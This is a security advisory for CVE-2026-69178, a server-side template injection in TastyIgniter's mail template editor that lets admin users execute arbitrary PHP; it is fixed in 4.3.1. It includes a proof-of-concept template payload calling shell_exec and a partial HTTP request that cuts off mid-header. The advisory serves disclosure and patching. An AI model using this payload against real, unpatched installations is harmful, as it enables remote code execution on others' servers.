CVE-2026-69178
TastyIgniter mail template editor allows remote code execution via server-side template injection
- CVSS
- 9.1
- EPSS
- —
- Published
- 2026-11-25
- Age
- 3d old
- Modified
- 2026-11-27
- Product
- Packagist tastyigniter/tastyigniter
- Aliases
- GHSA-743w-g9pf-8p94
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Description
### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo "RCE Executed";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: c
Fixed in
4.3.1
Affected packages
| Ecosystem | Package | Range | Fixed |
|---|---|---|---|
| Packagist | tastyigniter/tastyigniter | < 4.3.1 | 4.3.1 |
| Packagist | tastyigniter/tastyigniter | >=0, <4.3.1 | 4.3.1 |
Sources
- OSV · first seen 2d ago · CC-BY 4.0
- GitHub Advisory Database · first seen 3d ago · CC-BY 4.0
References
- https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-743w-g9pf-8p94 other
- https://github.com/tastyigniter/core/commit/785aa660f77fee9a221857b8b1f11b68a35fd257 other
- https://github.com/tastyigniter/core/releases/tag/v4.3.1 other
- https://github.com/advisories/GHSA-743w-g9pf-8p94 other
- https://github.com/tastyigniter/TastyIgniter package